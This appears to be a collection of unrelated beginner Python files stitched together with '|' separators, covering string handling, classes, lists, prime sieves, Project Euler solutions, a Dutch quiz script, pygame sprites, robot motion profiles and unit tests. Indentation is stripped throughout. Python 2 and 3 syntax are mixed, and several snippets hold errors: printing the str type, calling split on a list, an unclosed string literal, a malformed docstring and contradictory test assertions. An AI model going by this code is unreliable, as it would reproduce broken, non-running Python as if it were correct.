string = '""this is funny""'
print(str)
string = "''this is funny''"
print(str)
"""this is good
this is funny"""
str1 = "this is good"
str2 = " this is awesome"
print(str1 + str2)
str1 = "this is good"
str2 = " this is awesome"
str1 += str2
print(str1)
print(str2)
print(30 * "hello")
print("\n")
print("world" * 30)
print(30 * "hello" + " neha!!")
print(30 * ("hello" + " neha!!"))
age = 18
area = 100.5
name = "Neha"
print("My age = {} and area = {} and name = {}".format(age, area, name))
"""String Methods """
str1 = "Neha dua"
print("lower case : " + str1.lower())
print("upper case : " + str1.upper())
str1 = "Neha dua"
str2 = str1.lower()
print("lower case string : " + str2 + " original string : " + str1)
str1 = "i am good" * 10
str2 = str1.replace("good", "bad")
print("Replaced string : " + str2 + " \noriginal string : " + str1)
print("Splitted string in list : ")
print(str1.split())
print("original string : \n" + str1)
str1 = "i am of long length"
print(len(str1))
age = 10
print("age is " + str(age))
'''access individual characters in strings'''
print(str1[0])
print(str1[4])
print(str1[8])
"""string slicing"""
str1 = "hello world!!"
print(str1[0:8])
print(str1[0:1])
print(str1[8:10])
print(str1[0:])
print(str1[2:-3])
|
''' Classes have instance and class Variables
Class vars: are common for all
instance vars: are specific to the instance
''''
class Student:
print("hello student")
info = "This is a student"
student1 = Student()
#Instance Variables
student1.name = "Neha"
student2 = Student()
student2.name = "Parth"
student3 = Student()
print("Instance variables : ")
print(student1.name)
print(student2.name)
print("\nTypes: ")
print(type(student1))
print(Student)
print("\nClass Variables")
print(student1.info)
print(student2.info)
print(student3.info)
print(Student.info)
student1.info = "This is my specific info"
print(student1.info) ''' this will not overwrite but create instance variable'''
|
### Conditional ###
# simple conditional
number = 8
if number % 2:
print "The number is odd."
else:
print "The number is even."
# zero test before division
num = 20
dnom = -3.7
if dnom != 0:
print num/dnom
# without else, but with elif
s = "00041"
print s, " is "
if len(s) > 4:
print "too long"
elif len(s) < 4:
print "too short."
# with elif and else
s = "00041"
print s, " is "
if len(s) > 4:
print "too long"
elif len(s) < 4:
print "too short."
else:
print "is accurate!"
|
### List ###
# list of numbers
x = [1,2,3,5,4]
print x
x.append(0)
print x
print x[1]
print x[0]
print x[2:]
print x[:-1]
print x[2:4]
# get length of a list
print len(x)
print len(x[2:4])
# sort list
print x
x.sort()
print x
# list of strings
y = ["John", "Jane", "Charlene", "Paul"]
print y
y.reverse()
print y
print sorted(y)
print y
# list with mixed content
a = [] # empty list
a.append(0) # append item to a list
a.append(-2.7)
a.append("text")
b = a # just a reference!
b.append([1,2,3]) # appending list
b.append(True)
print a
print a[3][1] # referring to the sublist
print a[3] # referring to the sublist
print len(a) # length
print "here", a
print len(a[3])
print 3 in a # test for presence of an item in the list
print "text" in a
print 3 in a[3] # presence in the sub-list
print [1,2,3] in a
print sorted([3,2,1]) in a
del a[0] # delete first item
print a
del a[1:] # delete all, but first item
print a
# create a duplicate copy of a list, not just link
c = list(a)
# extending vs. appending
print a
a.append([1,2]) # append a list
print a
print c
c.extend([1,2]) # append contents of a list
print c
print a
a.insert(1, 76) # first goes the index, second is the item
print a
|
#! /bin/python3
import sys
import array
import numpy
def sortchar(teststring):
print(teststring[::2], teststring[1::2])
def main():
testlines = int(input().strip())
linearr = []
for n in range(0, testlines):
linearr.append(input())
for x in range(0, testlines):
print(linearr[x][::2], linearr[x][1::2])
|
"""
#判斷何種三角形
當三個邊長能構成三角形時,再判斷該三角形是否為正三角形,若否,則判斷是否為等腰三角形:
1. 不能成為三角形:任兩邊和不大於第三邊,或任一邊長不大於0。
2. 正三角形:三個邊相等。
3. 等腰三角形:任兩邊相等,平方和大於第三邊的平方。
4. 一般三角形:非正三角形與等腰三角形。
此題必須寫一個運算的function
int getTriangle(int a, int b, int c);
輸入說明:
---------------
輸入三個整數邊長
輸出說明:
---------------
1. 不能成為三角形:輸出 not triangle。
2. 正三角形:輸出 equilateral triangle。
3. 等腰三角形:輸出 isosceles triangle。
4. 一般三角形:輸出 triangle。
測試案例(Test Case)資料:
Input:
4 1 1
Output:
not triangle
---------------
Input:
3 3 3
Output:
equilateral triangle
---------------
Input:
3 2 3
Output:
isosceles triangle
---------------
Input:
7 8 9
Output:
triangle
"""
def getTriangle(a,b,c):
if (a<=0 or b<=0 or c<=0 or (a+b)<=c or (b+c)<=a or (c+a)<=b):
return 1
elif (a==b==c):
return 2
elif ((a==b or b==c or a==c) and ((a*a)+(c*c))>(b*b) and ((a*a)+(b*b))>(c*c) and ((c*c)+(b*b))>(a*a)):
return 3
else:
return 4
def output (a):
if a==1:
print("not triangle")
elif a==2:
print("equilateral triangle")
elif a==3:
print("isosceles triangle")
else:
print("triangle")
def main():
x1=input()
y=str.split(x1)
a=getTriangle(int(y[0]),int(y[1]),int(y[2]))
output(a)
main() |
"""
#數值運算
分別輸入 num1 num2 求出兩數的 Sum,Difference,Product,Quotient。
結果須輸出到小數點第二位
print("%.2f" %x1);
輸入:
25
2
輸出:
Difference:23.00
Sum:27.00
Quotient:12.50
Product:50.00
"""
import math
def cal(a,b):
sum=a+b
de=math.fabs(a-b)
quo=a/b
pro=a*b
return sum,de,quo,pro
def main():
a=int(input())
b=int(input())
x1,x2,x3,x4=cal(a,b)
print("Difference:%.2f" %x2)
print("Sum:%.2f" %x1)
print("Quotient:%.2f" %x3)
print("Product:%.2f" %x4)
main() |
##########FUNCTION############
#If the length of the text is less than the length
#of the string then return false and if
#the text starts with the string then return true
#else stop from reaching max recursion depth
def find(text, string):
if (len(text) < len(string)):
print(string, " does not match with ", text, " making it")
return False
if text.startswith(string):
print(string, " does match with ", text, " making it")
return True
else:
return find(text[1:], string)
print(find("Mississippi", "sis"))
print(find("Soviet", "iet"))
print(find('Soviet', 'te'))
|
#using 'yield' to compute primes 'on demand'
def naturals(n):
yield n
yield from naturals(n+1)
#creating generator object: naturals
s=naturals(2)
#obtaining primes by sieving through natural number list
def sieve(s):
n=next(s)
yield n
yield from sieve(i for i in s if i%n!=0)
#creating generator object: sieve
x=sieve(naturals(2))
#taking input from user whilst trying to handle errors
def avoiderrors():
try:
usr=int(input("Enter the number of primes you want to generate: "))
if usr>0 and usr<131:
print(f"The first {usr} primes are: ")
return usr
elif usr>130:
print("MAX Recursion depth limit reached! Enter a number less than 131")
return avoiderrors()
else:
print("Positive integer is expected here")
return avoiderrors()
except:
print("Positive integer is expected here")
return avoiderrors()
#iterating through generator object 'user input' number of times[max recursive depth=130]
for p in range(avoiderrors()):
#generating next prime "on demand" only
print(next(x)) |
import math
from math import sqrt;
from itertools import count, islice
num = int(input("Please enter an integer: "))
def is_Prime(num):
return all(num%i for i in islice(count(2), int(sqrt(num)-1)))
def main():
if is_Prime(num):
print (num, "is a prime number")
else:
print (num, "is not a prime number")
main()
|
#ten_things = ("Apples Oranges Crows Telephone Light Sugar")
#first_list = ten_things.split(' ')
#print (first_list)
more_things = ["Day", "Night", "Song", "Frisbee", "Corn", "Banana", "Girl", "Boy"]
second_list = more_things.split(',')
print (second_list)
|
import sys
for line in sys.stdin:
n = int(line)
# The key for this problem is to realize that if you have less printers than
# the number of statues to be printed, the optimal strategy is to simply
# let all the printers print a new printer.
p = 1 #number of printers at start
days = 0 #number of days that have passed.
while p<n:
p = 2*p
days +=1
days += 1 #We now print the statues.
print(days)
|
import math
def sum_squares(range):
i = 0
result = 0
while i < range + 1:
result += i * i
i+=1
return result
def square_sum(range):
i = 0
result = 0
while i < range+1:
result += i
i+=1
return result * result
def find_dif(range):
return square_sum(range) - sum_squares(range)
print(find_dif(100))
|
import math
def sieve_of_eratosthenes(limit = 125):
sieve = [True] * limit
sieve[0] = sieve[1] = False
for (i, isprime) in enumerate(sieve):
if (isprime):
for n in range(i * i, limit, i):
sieve[n] = False
return sieve
print(sieve_of_eratosthenes(100))
def is_prime(n):
for i in range(2, n):
if n % i == 0:
return False
else:
return True
def find_prime(pos):
primes = []
i = 2
result = 0
while len(primes) < pos:
if is_prime(i) and i > result:
result = i
primes.append(i)
i+=1
return result
print(find_prime(100))
|
'''
Crie um programa que recebe dois valores reais inseridos pelo
usuário e imprima o maior deles.
'''
#Função que verifica se o numero é inteiro#
def valor_inteiro():
numero=int(input('Digite um numero : '))
if numero > 0 :
print('O numero é maior que 0')
elif numero < 0 :
print('O numero é menor que
valor_inteiro()
|
# Problem 8
#
# The four adjacent digits in the 1000-digit number that have the
# greatest product are 9 × 9 × 8 × 9 = 5832.
#
# [See 0008.txt]
#
# Find the thirteen adjacent digits in the 1000-digit number that have
# the greatest product. What is the value of this product?
import functools
import operator
import time
start = time.time()
f = open('../data/0008.txt', 'r')
n = ""
for line in f:
n += line.rstrip()
f.close()
adj = 13
ans = 0
n = [int(x) for x in list(n)]
for i in range(0, len(n) - adj):
prod = functools.reduce(operator.mul, n[i:i + adj])
if prod > ans:
ans = prod
end = time.time()
print("The answer to Problem 8 is: %s" % ans)
print("<< Returned in %s seconds >>" % (end - start)) |
# Problem 4
#
# A palindromic number reads the same both ways. The largest palindrome
# made from the product of two 2-digit numbers is 9009 = 91 × 99.
#
# Find the largest palindrome made from the product of two 3-digit
# numbers.
import eutils.strings as strings
import time
start = time.time()
digits = 3
ans = 0
for m in range(10 ** (digits - 1), 10 ** digits):
for n in range(m, 10 ** digits):
x = m * n
if (x > ans) and (strings.is_palindrome(x)):
ans = x
end = time.time()
print("The answer to Problem 4 is: %s" % ans)
print("<< Returned in %s seconds >>" % (end - start)) |
print("+++++++++++++++++++++++++++++++++++++++++")
print("+ Welkom bij de cluedo rollen zoektocht +")
print("+++++++++++++++++++++++++++++++++++++++++")
print("+ Wij gaan je hier wat vragen stellen +")
print("+ om te kijken of je geschikt bent +")
print("+ voor 1 van onze vele rollen. +")
print("+++++++++++++++++++++++++++++++++++++++++")
leeftijd = int(input("hoe oud ben je? \n"))
diploma = input("Ben je in bezit van een mbo 3 opleiding \n")
ManOfVrouw= input("Ben je een man of vrouw? \n")
leeftijd_diploma = leeftijd >= 18 and diploma == "ja"
def man():
snor = input("Heb je een snor?\n")
bril = input("heb je een bril?\n")
kaal = input("ben je kaal?\n")
VanGeelen = kaal == "nee" and bril == "ja" and snor == "nee" and leeftijd_diploma == True
groenewoud = leeftijd_diploma == True and kaal == "ja" and bril == "nee" and snor == "nee"
Pimpel = leeftijd_diploma == True and kaal == "nee" and bril == "ja" and snor == "ja"
if Pimpel == True:
return print("Je mag op auditie voor de rol van Professor Pimpel")
elif groenewoud == True:
return print("Je mag op auditie voor de rol van Dominee Groenewoud")
elif VanGeelen == True:
return print("Je mag op auditie voor de rol van Kolonel van Geelen")
if ManOfVrouw.lower() == "m":
man()
elif ManOfVrouw.lower() == "v":
Haar = input("heb je lang haar?\n")
bril = input("heb je een bril\n")
kaal = 0
snor = 0
|
import pygame, math
from pygame.locals import *
class loadSprite():
'''This should be where the sprite is processed into a pygame usable
image and a couple other functions we might use related to sprites aswell'''
def __init__(self, spriteImagePath):
'''Initial atributes of the the image'''
self.sprite = pygame.image.load(spriteImagePath).convert()
self.sprite.set_colorkey((255,0,255))
def rotCenter(self, angle):
'''rotate the sprite while keeping its center and size'''
orig_rect = self.sprite.get_rect()
rot_image = pygame.transform.rotate(self.sprite, angle)
rot_rect = orig_rect.copy()
rot_rect.center = rot_image.get_rect().center
rot_image = rot_image.subsurface(rot_rect).copy()
return rot_image
def calcAngleToMouse((mousex, mousey), anchor):
x, y = anchor
mouseangle = 0
if x >= mousex:
mouseangle = math.degrees(float(math.atan2((mousey - y), (x - mousex))))
if x < mousex:
mouseangle = math.degrees(float(math.atan2((mousey - y), (x - mousex))))
mouseangle += 90
return mouseangle
|
"""Provide motion profiles for smooth and efficient motion"""
import math
from .utils import RobotCharacteristics, phase_time, signum
class PositionProfile:
"""Motion profile representing a specific desired move
Resolves time to optimal position
"""
def __init__(self, robot: RobotCharacteristics, target_distance: float):
"""Create a motion profile to efficiently travel `target_distance`
`robot`: RobotCharacteristics object describing the robot
`target_distance`: The distance the robot should travel using the
motion profile.
"""
# Handle negative distances
self.reverse = (target_distance < 0.0)
target_distance = abs(target_distance)
# Distance robot takes to accelerate from rest to max speed
full_acceleration_distance = (0.5 * robot.acceleration_time * robot.max_speed)
self.acceleration = robot.max_speed / robot.acceleration_time
# Distance robot takes to decelerate from max speed to rest
full_deceleration_distance = (0.5 * robot.deceleration_time * robot.max_speed)
self.deceleration = -robot.max_speed / robot.deceleration_time
# Distance needed to go from rest to max speed and back
distance_for_max_speed = (full_acceleration_distance + full_deceleration_distance)
# Trazezoidal profile - robot can reach max speed without overshooting
if target_distance >= distance_for_max_speed:
full_speed_time = (target_distance - distance_for_max_speed) / robot.max_speed
self.acceleration_end_time = robot.acceleration_time
self.deceleration_start_time = self.acceleration_end_time + \
full_speed_time
self.end_time = (self.deceleration_start_time + robot.deceleration_time)
self.max_speed = robot.max_speed
# Triangular profile - robot must start decelerating before max speed
else:
# acceleration distance to deceleration distance is proportional
# to the ratio of acceleration and deceleration times
time_ratio = (robot.acceleration_time /
(robot.acceleration_time + robot.deceleration_time))
partial_acceleration_distance = target_distance * time_ratio
self.acceleration_end_time = math.sqrt(
(2 * partial_acceleration_distance) / self.acceleration)
self.deceleration_start_time = self.acceleration_end_time
self.max_speed = self.acceleration_end_time * self.acceleration
# Time the robot needs to stop
deceleration_time = -self.max_speed / self.deceleration
self.end_time = self.acceleration_end_time + deceleration_time
# position() can be used for times after the end of the profile,
# this is so that if the PID hasn't got the robot to the
# target position by the end it can keep reducing the position
# error till it reaches the target position
def position(self, time: float):
"""Get the optimal position at a specific time"""
# Inner helper function to find the distance traveled
# when accelerating from an initial velocity for a time period
def distance(initial_speed, acceleration, time):
"""Find the distance traveled when accelerating from
`initial_speed` at `acceleration` for `time`
"""
# delta_x = vi + 1/2(at^2)
return (initial_speed * time) + (0.5 * acceleration * time * time)
position = 0
# Acceleration phase - time after start before max speed is reached
acceleration_phase_time = phase_time(time, 0, self.acceleration_end_time)
position += distance(0.0, self.acceleration, acceleration_phase_time)
# Max speed phase - time since the start of the max speed pahse,
# before deceleration
max_speed_phase_time = phase_time(time, self.acceleration_end_time,
self.deceleration_start_time)
position += max_speed_phase_time * self.max_speed
# Deceleration phase - time after deceleration start and before the end
deceleration_phase_time = phase_time(time, self.deceleration_start_time, self.end_time)
position += distance(self.max_speed, self.deceleration, deceleration_phase_time)
# Handle reverse (negative) directions
return position if not self.reverse else -position
# velocity() can be used for times after the end of the profile,
# this is so that if the PID hasn't got the robot to the
# target position by the end it can keep reducing the position
# error till it reaches the target position
def velocity(self, time: float):
sign = -1 if self.reverse else 1
if time <= self.acceleration_end_time:
return self.acceleration * time * sign
elif time <= self.deceleration_start_time:
return self.max_speed * sign
elif time <= self.end_time:
max_speed = (self.acceleration * self.acceleration_end_time)
return (max_speed + (self.deceleration * (time - self.deceleration_start_time))) * sign
else:
return 0
class DistanceProfile:
"""Motion profile representing a specific desired move
Resolves remaining distance to optimal velocity
"""
def __init__(self, robot: RobotCharacteristics):
"""Create a motion profile to efficiently travel whatever distance
is returned each step by `remaining_distance`
`robot`: RobotCharacteristics object describing the robot
"""
self.full_acceleration_time = robot.acceleration_time
self.full_deceleration_time = robot.deceleration_time
self.max_speed = robot.max_speed
self.acceleration = robot.max_speed / robot.acceleration_time
self.deceleration = -robot.max_speed / robot.deceleration_time
def velocity(self, current_velocity: float, remaining_distance: float):
"""Get the velocity to travel at to efficiently travel the target distance
`current_velocity`: Robot's current speed.
`remaining_distance`: The distance the robot still needs to travel.
Returns optimal velocity and optimal acceleration.
Robot's velocity should be set to the optimal velocity at some look
ahead time:
velocity = optimal velocity + (optimal acceleration * look ahead time)
"""
# Deceleration time and distance from current velocity
deceleration_time = abs(current_velocity / self.deceleration)
deceleration_distance = 0.5 * deceleration_time * current_velocity
if signum(deceleration_distance) == 0:
acceleration = self.acceleration * signum(remaining_distance)
elif signum(deceleration_distance) != signum(remaining_distance):
acceleration = self.deceleration * signum(deceleration_distance, separate_zero=False)
else:
if abs(deceleration_distance) >= abs(remaining_distance):
acceleration = self.deceleration * signum(deceleration_distance)
else:
acceleration = self.acceleration * signum(deceleration_distance)
return current_velocity, acceleration
|
#!/usr/bin/env python3
def validate_user(username, minlen):
# assert is used in situations that are not expected, but may cause our code to misbehave.
assert type(username) == str, "username must be a string"
if minlen < 1:
# use raise to check for conditions that are expected to
# happen during normal execution of the code.
raise ValueError("minlen needs to be longer than 1")
if len(username) < minlen:
return False
if not username.isalnum():
return False
return True
|
import unittest #unnitest module import
import pyperclip
from user import User
class TestUser(unittest.TestCase):
'''
Test class that defines the test cases for user class
behaviours
'''
def setUp(self):
'''
Setup method to run before each test cases
'''
self.new_user = User("Adrian","Etenyi","Mutemuas2001")
def test_init(self):
'''
test_init checks if the object is initialised properly
'''
self.assertEqual(self.new_user.first_name,"Adrian")
self.assertEqual(self.new_user.second_name,"Etenyi")
self.assertEqual(self.new_user.password,"Mutemuas2001")
def test_save_user(self):
'''
test_save_user tests if a new user created is saved
'''
self.new_user.save_user()
self.assertEqual(len(User.user_list),3)
def test_save_multiple_user(self):
'''
test_save_multiple_user tests if many users can be saved
'''
self.new_user.save_user()
test_user = User("test","user","any")
test_user.save_user()
self.assertEqual(len(User.user_list),2)
def test_display_users(self):
'''
method that displays all thes signed up users
'''
self.assertEqual(User.display_users(),User.user_list)
def test_user_exist(self):
'''
test to check if a user exists in user list
'''
self.new_user.save_user()
test_user = User("test","sname","passw")
test_user.save_user()
user_exists =User.user_exist("test")
self.assertTrue(user_exists)
if __name__ == '__main__':
unittest.main()
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.